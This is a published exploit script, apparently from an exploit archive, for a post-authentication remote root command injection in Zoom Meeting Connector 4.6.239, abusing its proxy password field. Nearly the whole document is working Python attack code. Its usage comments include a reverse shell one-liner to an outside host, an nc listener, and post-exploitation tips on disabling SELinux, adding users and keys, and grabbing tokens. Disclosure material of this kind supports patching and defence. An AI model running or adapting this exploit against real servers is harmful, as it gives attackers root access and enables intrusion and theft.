• 07 January, 2021
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Zoom 4.6.239.20200613 Meeting Connector Post-Auth Remote Root

Zoom version 4.6.239.20200613 suffers from a Meeting Connector post-authentication remote root code execution vulnerability via the proxy server functionality. The latest Zoom client has this issue patched per Zoom.

#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# zoomer.py
#
# Zoom Meeting Connector Post-auth Remote Root Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# The Meeting Connector Web Console listens on port 5480. On the dashboard
# under Network -> Proxy, one can enable a proxy server. All of the fields
# are sanitized to a certain degree, even the developers noting in the proxy()
# function within backend\webconsole\WebConsole\net.py that they explicitly
# were concerned with command injection and attempted to prevent it:
#
# if ('"' in proxy_name) or ('"' in proxy_passwd):  # " double quotes cannot be used to prevent shell injection
#     is_valid = False
#
# It makes sense to leave some flexibility in the character limits here
# passwords are often expected to contain more than alphanumeric characters.
# But of course that means the Proxy Password field is still vulnerable to
# command injection with the ` character.
#
# The proxy data gets concatenated and written to /etc/profile.d/proxy.sh.
# Every three minutes, a task runs which executes this proxy script as root.
# After submission the dashboard says “The proxy will take effect after the
# server reboot!”, but the commands will still be executed within actually
# requiring a reboot. Keep in mind that the commands will be executed blind.
#
# For example, `id>/tmp/proxy_test` given as the Proxy Password will produce
# this in the /tmp/proxy_test file:
#
# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023
#
# MMR was tested, but Controller and VRC may also be vulnerable
#
# Usage
# > zoomer.py 10.0.0.10 admin xsecRET1 "sh -i >& /dev/udp/10.0.0.11/5555 0>&1"
# login succeeded
# command sent to server
#
# $ nc -u -lvp 5555
# ....
# sh: no job control in this shell
# sh-4.2# pwd
# /root
# sh-4.2#
#
# setenforce 0 if SELinux bothers you, service sshd start and add users/keys,
# check tokens in /opt/zoom/conf/register, check out the local environment, etc.
#
# Dependencies
# - pip install pyquery
#
# Fix
# Zoom says they've fixed this in the latest version
#

import os
import sys
import argparse
import requests
import urllib.parse
from pyquery import PyQuery
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class Zoomer(object):
  def __init__(self, args):
    self.target = args.target
    self.port = args.port
    self.username = args.username
    self.password = args.password
    self.command = args.command

  def run(self):
    target = "https://" + self.target + ':' + str(self.port)

    session = requests.Session()
    session.verify = False

    #
    # get csrftoken from /login and use it to auth with creds
    #
    try:
      resp = session.get(target + "/login")
    except Exception as error:
      print("Error: %s" % error)
      return -1

    try:
      csrftoken = resp.headers['set-cookie'].split(';')[0]
    except:
      print("Error: couldn't parse csrftoken from response header")
      return -1

    csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken')

    if(csrfmiddlewaretoken == None):
      return -1

    data = \
      {'csrfmiddlewaretoken':csrfmiddlewaretoken,
      'name':self.username,
      'password':self.password}

    headers = \
      {'Host':self.target + ':' + str(self.port),
      'Referer':target,
      'Cookie':csrftoken}

    try:
      resp = session.post(target + "/login", headers=headers, data=data)
    except Exception as error:
      print("Error: %s" % error)
      return -1

    if(resp.status_code != 200 or 'Wrong' in resp.text):
      print("login failed")
      return -1
    else:
      print("login succeeded")

    #
    # get csrfmiddlewaretoken from /network/proxy and post cmd
    #
    try:
      resp = session.get(target + "/network/proxy")
    except Exception as error:
      print("Error: %s" % error)
      return -1

    csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken')

    cookies = session.cookies.get_dict()

    #
    # this happens with view-only users
    #
    if(len(cookies) < 2):
      print("Error: failed to get session ID")
      return -1

    command = '`' + self.command + '`'

    headers = \
      {'Host':self.target + ':' + str(self.port),
      'Referer':target,
      'Cookie': \
        'csrftoken=' + cookies['csrftoken'] + ';' + \
        'sessionid=' + cookies['sessionid']}

    data = \
      {'csrfmiddlewaretoken':csrfmiddlewaretoken,
      'proxyValue':1,
      'proxyAddr':'localhost',
      'proxyPort':8080,
      'proxyName':'test',
      'proxyPasswd':command}

    try:
      resp = session.post(target + "/network/proxy", headers=headers, data=data)
    except Exception as error:
      print("Error: %s" % error)
      return -1

    if(resp.status_code != 200):
      print("something failed")
      return -1
    else:
      print("command sent to server")

    return 0

  def get_token(self, body, name):
    token = None

    pq = PyQuery(body)

    if(name == 'csrftoken'):
      print("csrftoken")

    if(name == 'csrfmiddlewaretoken'):
      token = pq('input').attr('value')

    return token

def arg_parse():
  parser = argparse.ArgumentParser()

  parser.add_argument("target",
            type=str,
            help="Zoom server")

  parser.add_argument("-p",
            "--port",
            type=int,
            default=5480,
            help="Zoom port")

  parser.add_argument("username",
            type=str,
            help="Valid username")

  parser.add_argument("password",
            type=str,
            help="Valid password")

  parser.add_argument("command",
            type=str,
            help="Command to execute (replace space with $IFS ?)")

  args = parser.parse_args()

  return args

def main():
  args = arg_parse()

  zm = Zoomer(args)

  result = zm.run()

  if(result > 0):
    sys.exit(-1)

if(__name__ == '__main__'):
  main()

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